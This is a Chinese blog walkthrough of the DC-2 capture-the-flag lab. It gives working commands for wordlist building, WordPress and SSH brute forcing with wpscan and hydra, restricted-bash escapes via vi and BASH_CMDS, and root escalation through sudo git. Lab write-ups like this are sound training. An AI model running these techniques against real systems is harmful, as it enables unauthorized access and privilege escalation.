DC-2

DC-2靶场渗透

0x01 靶场简介原文

与DC-1非常相似,DC-2是另一个专门建造的易受攻击的实验室,目的是在渗透测试领域获得经验。

与最初的DC-1一样,它的设计考虑到了初学者。

Linux 技能和对 Linux 命令行的熟悉是必须的,对基本渗透测试工具的一些经验也是必须的。

就像DC-1一样,有五个标志,包括最后一个标志。

再一次,就像DC-1一样,标志对初学者很重要,但对有经验的人来说并不那么重要。

简而言之,唯一真正重要的标志是最终的标志。

对于初学者来说,谷歌是你的朋友。嗯,除了所有的隐私问题等。

我还没有探索实现root的所有方法,因为我废弃了我一直在研究的先前版本,除了基本操作系统安装之外,我完全从头开始。

0x02 环境搭建

本次环境为NAT下

攻击机为kali,IP:192.168.86.129

靶机下载官网

用vmware打开即可,会提示导入失败,点重试就行

0x03 信息收集

1.找到目标IP

kali下用nmap -sP找到本网段下存活主机

1

.1是我的主机,.2是网关,.192是kali本身,.254是DHCP服务器,那就是192.168.86.166了,或者查看DC-2的mac地址,也能确定

2.扫描开放端口

1
nmap -sS 192.168.86.166

2

这里只开放了80端口,那就访问一下吧

3.访问web页面

直接访问,访问会出错,想不通为什么

3

看教程发现要改hosts,后来发现官方文档有过说明了

4

发现flag:

你通常的单词表可能不起作用,所以,也许你只需要保持冷静。
密码越多越好,但有时你无法赢得所有密码。
以一个身份登录以查看下一个标志。
如果找不到,请以其他身份登录。

根据提示,我们需要使用cewl来抓取单词组成字典。cewl 简单来说,就是一款以爬虫模式在指定的URL上收集单词的工具,可以将它收到的单词组成一个字典,用来爆破使用。

0x04 开渗

1.初步思路

首先要生产一个字典,而且要登录,那就搜集一下账户和密码,做个字典吧

2.收集单词

根据提示用cewl收集单词当密码本

1
cewl  dc-2 >password.txt

3.尝试登录

这里用到的工具是wpscan,这是一款专门针对wordpress的扫描工具,采用ruby语言编写,能够扫描worpress网站中包括主题漏洞、插件漏洞以及wordpress网站本身存在的漏洞。wpscan还可以扫描wordpress网站启用的插件和其他功能。

1
wpscan --url http://dc-2 -e u -P password.txt   //enum枚举

-e u 可以枚举出网站已经注册的用户名,并且wpscan可以枚举用户和暴破登录一起进行

-P指定密码本

6

找登录的后台:

1
dirb http://dc-2

5

这里看到是/wp-admin

4.登录

找到了有效的账号密码,看了一下tom,没什么东西,看看jerry

7

找到flag2:
如果你找不到利用WordPress的捷径,还有别的方法,希望你可以找到另一个切入点

看了教程,用这个命令又扫了一遍nmap,试了一下masscan,只给出了端口的开放状态,没给出服务

1
nmap -p- -A 192.168.86.166  //-A参数必不可少

-A官方给的解释是:启用操作系统检测、版本检测、脚本扫描和traceroute

8

如果不加-A,结果是这样的:

9

发现7744端口有ssh,想用hydra爆破登录的话,搞一个放着用户名的txt方便一些,还是先生成一个用户名的文件

1
wpscan --url http://dc-2

找到三个用户名,写到user.txt里

用hydra登录:

1
hydra -L user.txt -P password.txt 192.168.86.166 ssh -s 7744 

10

找到一个能登ssh的用户,登录看看

1
ssh -p 7744 tom@192.168.86.166

登陆进去后,找找flag3吧

11

查看所有可用的命令

1
compgen -c  

12

在最后发现了vi,可以用vi查看flag3的内容

“Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.”

“Tom总是追着Jerry。或许Tom应该为他感受到的压力而su”

提到了su和Jerry,su应该是提示我们提权,Jerry应该是提示去看看Jerry的目录

绕过rbash

既然要去jerry的家目录,就要换路径,但cd 被限制了,不能用,此时要绕过rbash

rbash(Restricted bash,受限制的bash),除此之外还有rksh和rsh

1.BASH_CMDS绕过

13

1
BASH_CMDS[a]=/bin/bash

然后再执行a就拿到了一个受限较小(可以执行cd命令但cat还是不能用)的shell。

2.vi绕过

直接执行vi(后面跟不跟文件都行),回车,写入

1
:set shell=/bin/bash  //这里shell这个名字不能改,是固定的

14

然后接着写入

1
:shell

15

还是不能用cat,倒是能换目录

3.更多绕过方式
1
python3 -c 'import os;os.system("/bin/bash");'

但靶机没有python,这个方法不适用此次渗透

更多方法见0x08

0x05 绕过rbash后

现在可以换目录了,去jerry的目录里看看

16

找到flag4:

17

“很高兴看到你已经走了这么远,但你还没有回家。 //这里应该是指/root
你仍然需要得到最终的flag(唯一真正重要的flag!!)。
这里没有提示-你现在只能靠自己了。:-)
快离开这里!!!!”

因缺思厅

陷入思考

渗透的目的是什么?想到DC-1中提到的,必看三部曲,passwd,shadow,group,先看/etc/passwd:

18

shadow没权限,都看完后,并没有什么收获,前面提到了su,应该看看root下面有没有好东西,结果没有权限访问

还是要提权

0x06 Linux 环境变量和git提权

添加环境变量

1
2
(export) PATH=$PATH:/usr/bin
(export) PATH=$PATH:/bin

到这里就能用sudo和su了,但是tom不能用sudo,要换jerry,换一下

19

换好了,查看当前用户能用sudo的命令

1
sudo -l

20

不需要密码可以执行git

下面将给出两种方法

(我们需要将shell的窗口变窄,使得回显信息不能一页显示)

1、在末行命令模式输入 sudo git help config
然后!/bin/bash 或 !’sh’ #完成提权
2、在末行命令模式输入sudo git -p help
输入!/bin/bash,即可打开一个用户为root的shell
21

#出现,游戏结束

22

0x07 反思

做完整个靶场下来,思路有点混乱,主要是我太菜了[狗头]

看过关于环境变量的解释后,我做了一次实验,我不加环境变量,我指定su的绝对路径,是否可行?

答案是肯定的:

666

所以前面环境变量只能说是方便我们渗透,并没有实现真正意义上的提权,也就算个绕过吧

ps:修改的环境变量只在当前用户生效

既然如此,我能不能直接一步到位,不绕过rbash?

我尝试了一下,如果不绕过rbash,后果是这样的:

888

没有对PATH的写入权限,而且不能用/来指定绝对路径,所以还是很有必要的

0x08 参考

1.Linux PATH环境变量及作用(初学者必读)

2.RBash - 受限的Bash绕过

3.CSDN博主「小郭学安全」的原创文章

4.CSDN博主「a310034188」的原创文章

5.[入门靶机 DC-2的渗透测试](入门靶机 DC-2的渗透测试 - 知乎 (zhihu.com))

6.Rbash绕过


DC-2
http://example.com/2023/08/19/DC-2/
作者
想有双手
发布于
2023年8月19日
许可协议